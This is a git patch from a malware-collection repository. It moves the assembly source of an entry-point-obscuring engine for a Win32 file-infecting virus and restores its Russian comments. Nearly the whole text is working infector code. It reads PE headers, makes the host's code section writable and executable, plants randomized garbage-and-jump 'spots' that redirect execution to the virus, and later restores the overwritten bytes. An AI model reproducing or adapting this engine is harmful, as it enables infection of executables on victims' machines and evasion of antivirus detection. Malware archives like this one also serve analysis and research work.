From 59acb78c9977abc656050fca51b822ad7b85f2f6 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Wed, 28 Oct 2020 23:12:58 -0500 Subject: [PATCH] Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm --- Win32/{ => Infector}/Virus.Win32.Spot.asm | 438 +++++++++++----------- 1 file changed, 219 insertions(+), 219 deletions(-) rename Win32/{ => Infector}/Virus.Win32.Spot.asm (51%) diff --git a/Win32/Virus.Win32.Spot.asm b/Win32/Infector/Virus.Win32.Spot.asm similarity index 51% rename from Win32/Virus.Win32.Spot.asm rename to Win32/Infector/Virus.Win32.Spot.asm index 09e37f99..c7c8b9b6 100644 --- a/Win32/Virus.Win32.Spot.asm +++ b/Win32/Infector/Virus.Win32.Spot.asm @@ -33,21 +33,21 @@ ; (+) RANDOM LENGTH OF JUMP ; ;------------------------------------------------------------------------------; epo: - push esi edi ; esi - ; edi - mov [ebp+map_address],edx ; - ; - call get_head ; PE + push esi edi ; Сохраняем в стэке esi + ; и edi + mov [ebp+map_address],edx ; Сохраняем адрес файла в + ; памяти + call get_head ; Получаем PE заголовок ; - call search_eip ; - ; - call find_code ; - ; - call spots ; - ; - pop edi esi ; - ; edi esi - ret ; + call search_eip ; Вычисляем новую точку + ; входа + call find_code ; Ищем начало кода в этом + ; файле + call spots ; Помещаем туда переход + ; на вирус + pop edi esi ; Восстанавливаем из стэка + ; edi и esi + ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; PE HEADER SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -61,26 +61,26 @@ epo: ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; get_head: - ; - ; PE + ; Подпрограмма получения + ; PE заголовка - pusha ; + pusha ; Сохраняем всё в стэке mov ebx,[edx + 3ch] ; add ebx,edx ; ; - mov [ebp + PE_header],ebx ; PE + mov [ebp + PE_header],ebx ; сохраняем PE заголовок mov esi,ebx ; mov edi,esi ; mov ebx,[esi + 28h] ; - mov [ebp + old_eip],ebx ; - ; (eip) + mov [ebp + old_eip],ebx ; Сохраняем старую точку + ; входа (eip) mov ebx,[esi + 34h] ; - mov [ebp + image_base],ebx ; - ; - ; - popa ; - ret ; + mov [ebp + image_base],ebx ; Сохраняем + ; виртуальный адрес + ; начала программы + popa ; Вынимаем всё из стэка + ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; NEW ENTRY POINT SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -93,31 +93,31 @@ get_head: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; search_eip: - ; - ; + ; Подпрограмма вычисления + ; новой точки входа - pusha ; + pusha ; Сохраняем всё в стэке - mov esi,[ebp+PE_header] ; esi - ; PE + mov esi,[ebp+PE_header] ; Кладём в esi указатель + ; На PE заголовок mov ebx,[esi + 74h] ; shl ebx,3 ; xor eax,eax ; - mov ax,word ptr [esi + 6h] ; - dec eax ; ( -1 - mov ecx,28h ; ) - mul ecx ; * - add esi,78h ; esi - add esi,ebx ; - add esi,eax ; + mov ax,word ptr [esi + 6h] ; Количество объектов + dec eax ; (нам нужен последний-1 + mov ecx,28h ; заголовок секции) + mul ecx ; * размер заголовка + add esi,78h ; теперь esi указывает + add esi,ebx ; на начало последнего + add esi,eax ; заголовка секции mov eax,[esi+0ch] ; - add eax,[esi+10h] ; - mov [ebp+new_eip],eax ; + add eax,[esi+10h] ; Сохраняем новую точку + mov [ebp+new_eip],eax ; входа - popa ; + popa ; Вынимаем всё из стэка - ret ; + ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; FIND START OF CODE SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -130,59 +130,59 @@ search_eip: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; find_code: - ; - ; + ; Подпрограмма поиска начала + ; кода - mov esi,[ebp+PE_header] ; esi - ; PE + mov esi,[ebp+PE_header] ; Кладём в esi указатель + ; На PE заголовок mov ebx,[esi + 74h] ; - shl ebx,3 ; + shl ebx,3 ; Получаем xor eax,eax ; - mov ax,word ptr [esi + 6h] ; + mov ax,word ptr [esi + 6h] ; Количество объектов find2: mov esi,edi ; dec eax ; - push eax ; ( -1 - mov ecx,28h ; ) - mul ecx ; * - add esi,78h ; esi - add esi,ebx ; - ; - add esi,eax ; - mov eax,[ebp+old_eip] ; eax - mov edx,[esi+0ch] ; edx - ; - ; - cmp edx,eax ; - pop eax ; eax - jg find2 ; - add edx,[esi+08h] ; - ; - cmp edx,[ebp+old_eip] ; - jl find2 ; + push eax ; (нам нужен последний-1 + mov ecx,28h ; заголовок секции) + mul ecx ; * размер заголовка + add esi,78h ; теперь esi указывает на + add esi,ebx ; начало последнего + ; заголовка + add esi,eax ; секции + mov eax,[ebp+old_eip] ; В eax ложим точку входа + mov edx,[esi+0ch] ; В edx адрес куда будет + ; мапиться + ; текущая секция + cmp edx,eax ; Проверяем + pop eax ; Вынимаем из стэка eax + jg find2 ; Если больше ищем дальше + add edx,[esi+08h] ; Добавляем виртуальный + ; размер секци + cmp edx,[ebp+old_eip] ; Проверяем + jl find2 ; Если меньше ищем дальше - mov edx,[esi+0ch] ; - ; - mov eax,[ebp+old_eip] ; + mov edx,[esi+0ch] ; Далее вычисляем + ; физическое + mov eax,[ebp+old_eip] ; смещение кода в файле sub eax,edx ; add eax,[esi+14h] ; - add eax,[ebp+map_address] ; - ; + add eax,[ebp+map_address] ; И потом добавляем базу + ; памяти - mov [ebp+start_code],eax ; + mov [ebp+start_code],eax ; Сохраняем начало кода or [esi + 24h],00000020h or 20000000h or 80000000h - ; - ; + ; Меняем аттрибуты + ; кодовой секции - mov eax,[esi+08] ; - sub eax,[ebp+old_eip] ; , - mov edx,[esi+10h] ; - sub edx,eax ; + mov eax,[esi+08] ; Вычисляем размер + sub eax,[ebp+old_eip] ; той части кодовой секции, + mov edx,[esi+10h] ; где можно размещать + sub edx,eax ; пятна mov [ebp+size_for_spot],edx ; - ret ; + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; @@ -196,26 +196,26 @@ find2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; spots: - ; - ; + ; Подпрограмма генерации + ; пятен - mov ecx,1 ; ecx + mov ecx,1 ; Кладём в ecx единицу ; - call reset ; - call num_spots ; - ; - + call reset ; Подготавливаем данные + call num_spots ; Генерируем случайное число + ; это будет кол-во пятен tred: - call save_bytes ; - call gen_spot ; + call save_bytes ; Сохраняем затираемы байты + call gen_spot ; Генерируем пятно - inc ecx ; ecx - cmp ecx,[ebp+n_spots] ; - jne tred ; , + inc ecx ; Увеличиваем ecx на единицу + cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы + jne tred ; Если нет, то генерируем - call save_bytes ; - call gen_final_spot ; - ; - ret ; + call save_bytes ; Сохраняем последние байты + call gen_final_spot ; И генерируем последнее + ; пятно + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -228,27 +228,27 @@ tred: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot: - ; - ; + ; Подпрограмма генерации + ; одного пятна - push eax ecx ; eax ecx + push eax ecx ; Сохраняем eax и ecx - call len_sp_jmp ; - xchg eax,ebx ; + call len_sp_jmp ; Получаем случайную длину + xchg eax,ebx ; прыжка пятна - call testing ; , - jc quit2 ; - ; + call testing ; Проверяем, чтобы пятно + jc quit2 ; не выходило за кодовую + ; секцию push ebx xor bx,bx dec bx - mov ecx,[ebp+num1] ; - call garbage ; + mov ecx,[ebp+num1] ; Генерируем первую партию + call garbage ; мусора pop ebx mov al,0e9h ; stosb ; - mov eax,0 ; jmp + mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; @@ -256,17 +256,17 @@ gen_spot: push ebx xor bx,bx dec bx - mov ecx,[ebp+num2] ; - call garbage ; + mov ecx,[ebp+num2] ; Генерируем вторую партию + call garbage ; мусора pop ebx sub edi,[ebp+num2] ; - add edi,[ebp+num1] ; edi + add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: - pop ecx eax ; ecx eax + pop ecx eax ; Восстанавливаем ecx и eax - ret ; + ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -279,36 +279,36 @@ quit2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot: - ; - ; + ; Подпрограмма генерации + ; финального пятна - push eax ecx ; eax ecx + push eax ecx ; Сохраняем eax и ecx - jc not_big ; - inc [ebp+n_spots] ; , -not_big: ; - - mov ecx,[ebp+num1] ; - call garbage ; + jc not_big ; Если длина не превышает + inc [ebp+n_spots] ; размера кодовой секции, то +not_big: ; Увеличим кол-во пятен + mov ecx,[ebp+num1] ; Генерируем мусорные + call garbage ; инструкции - push edi ; edi - sub edi,[ebp+start_code] ; jmp'a - mov ebx,edi ; - pop edi ; edi + push edi ; Сохраняем edi + sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a + mov ebx,edi ; для последнего пятна + pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; - sub eax,5 ; - sub eax,ebx ; + sub eax,5 ; Генерируем финальное + sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; - mov ecx,[ebp+num2] ; - call garbage ; + mov ecx,[ebp+num2] ; Генерируем вторую партию + call garbage ; мусорных инструкций - pop ecx eax ; ecx eax - ret ; + pop ecx eax ; Восстанавливаем ecx и eax + ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -322,29 +322,29 @@ not_big: ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: - ; - ; + ; Подпрограмма сохранения + ; заменяемых байт - pusha ; - call length1 ; - ; - mov ebx,[ebp+num1] ; ebx - add ebx,[ebp+num2] ; - add ebx,5 ; ebx - 5 + pusha ; Сохраняем всё в стэке + call length1 ; Генерируем длины мусорных + ; инструкций + mov ebx,[ebp+num1] ; Помещаем в ebx первую + add ebx,[ebp+num2] ; и вторую длины + add ebx,5 ; Добавляем к ebx - 5 - mov esi,edi ; - mov edi,[ebp+pointer] ; - mov eax,esi ; + mov esi,edi ; Сохраняем в буфере с + mov edi,[ebp+pointer] ; начала смещение в памяти + mov eax,esi ; на сохраняемые байты stosd ; - mov ecx,ebx ; - mov eax,ecx ; - - stosd ; + mov ecx,ebx ; После этого сохраняем в + mov eax,ecx ; буфере кол-во сохраняемых + stosd ; байт - rep movsb ; - mov [ebp+pointer],edi ; + rep movsb ; И в самом конце сохраняем + mov [ebp+pointer],edi ; в буфере сами байты ; - popa ; - ret ; + popa ; Вынимаем всё из стэка + ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -357,32 +357,32 @@ save_bytes: ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; restore: - ; - ; - ; + ; Подпрограмма + ; восстановления сохранённых + ; байт - cld ; - lea esi,[ebp+rest_bytes] ; esi - mov edx,1 ; edx - 1 + cld ; Поиск вперёд + lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер + mov edx,1 ; В edx кладём - 1 not_enough: - mov edi,[ebp+old_eip] ; edi - add edi,[ebp+image_base] ; - mov ebx,edi ; edi ebx - lodsd ; eax - ; - sub eax,[ebp+start_code] ; - ; - add edi,eax ; - lodsd ; eax - - mov ecx,eax ; ecx - rep movsb ; - ; - inc edx ; - cmp edx,[ebp+n_spots] ; - jl not_enough ; , - ; + mov edi,[ebp+old_eip] ; В edi загружаем точку + add edi,[ebp+image_base] ; входа + mov ebx,edi ; Сохраняем edi в ebx + lodsd ; В eax старое смещение + ; байт в памяти + sub eax,[ebp+start_code] ; Отнимаем смещение начала + ; кода и добавляем + add edi,eax ; точку входа + lodsd ; Загружаем в eax кол-во + mov ecx,eax ; байт и кладём их в ecx + rep movsb ; Перемещаем оригинальные + ; байты на старое место + inc edx ; Переходим к следующему + cmp edx,[ebp+n_spots] ; пятну + jl not_enough ; если не все пятна вернули, + ; то восстанавливаем дальше quit: ; - ret ; + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -395,23 +395,23 @@ quit: ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; length1: - ; - ; + ; Подпрограмма генерации + ; длин мусорных инструкций mov eax,20 ; - call brandom32 ; - test eax,eax ; 1..19 + call brandom32 ; Генерируем случайное число + test eax,eax ; в диапазоне 1..19 jz length1 ; - mov [ebp+num1],eax ; + mov [ebp+num1],eax ; Сохраняем его в переменную rand2: mov eax,20 ; - call brandom32 ; - test eax,eax ; 1..19 + call brandom32 ; Генерируем случайное число + test eax,eax ; в диапазоне 1..19 jz rand2 ; - mov [ebp+num2],eax ; - ; - ret ; + mov [ebp+num2],eax ; Сохраняем его в вторую + ; переменную + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -424,16 +424,16 @@ rand2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; reset: - ; - ; + ; Подпрограмма инициализации + ; переменных mov edi,[ebp+start_code] ; ; - push esi ; + push esi ; Инициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; - ret ; + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -446,15 +446,15 @@ reset: ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: - ; - ; + ; Подпрограмма генерации + ; длины прыжка mov eax,150 ; - call brandom32 ; - cmp eax,45 ; 45..149 + call brandom32 ; Генерируем случайное число + cmp eax,45 ; в диапазоне 45..149 jle len_sp_jmp ; - ret ; + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -467,18 +467,18 @@ len_sp_jmp: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: - ; - ; + ; Подпрограмма генерации + ; количества пятен - pusha ; + pusha ; Сохраняем всё в стэке - mov eax,40 ; - call brandom32 ; 1..40 - inc eax ; - mov [ebp+n_spots],eax ; + mov eax,40 ; Генерируем случайное число + call brandom32 ; в диапазоне 1..40 + inc eax ; И сохраняем его в + mov [ebp+n_spots],eax ; переменной - popa ; - ret ; + popa ; Вынимаем всё из стэка + ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -491,39 +491,39 @@ num_spots: ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; testing: - ; - ; + ; Подпрограмма проверки + ; попадения в границу секции - push edi eax ; edi eax + push edi eax ; Сохраняем edi eax в стэке - add edi,[ebp+num1] ; edi 1- - ; - add edi,[ebp+num2] ; 2- - add edi,300 ; - ; - ; + - mov eax,[ebp+size_for_spot] ; eax - ; - add eax,[ebp+start_code] ; + add edi,[ebp+num1] ; Добавим к edi 1-ую длину + ; мусорных инструкций + add edi,[ebp+num2] ; После этого добавим 2-ую + add edi,300 ; И добавим число в которое + ; входит максимальный размер + ; пятна + длина его прыжка + mov eax,[ebp+size_for_spot] ; В eax загрузим размер + ; места для пятен и смещение + add eax,[ebp+start_code] ; в памяти точки входа - cmp edi,eax ; eax edi - clc ; carry - jl m_space ; edi , - ; - mov [ebp+n_spots],ecx ; , - inc [ebp+n_spots] ; - stc ; carry + cmp edi,eax ; Сравним eax и edi + clc ; Сбросим carry флаг + jl m_space ; Если edi меньше, то все + ; хорошо + mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем + inc [ebp+n_spots] ; количество пятен и + stc ; устанавливаем carry флаг m_space: - pop eax edi ; eax edi - ret ; + pop eax edi ; Вынимаем eax и edi + ret ; Возврат из процедуры ;------------------------------------------------------------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; - ; -PE_header dd 0 ; + ; Данные необходимые для +PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ;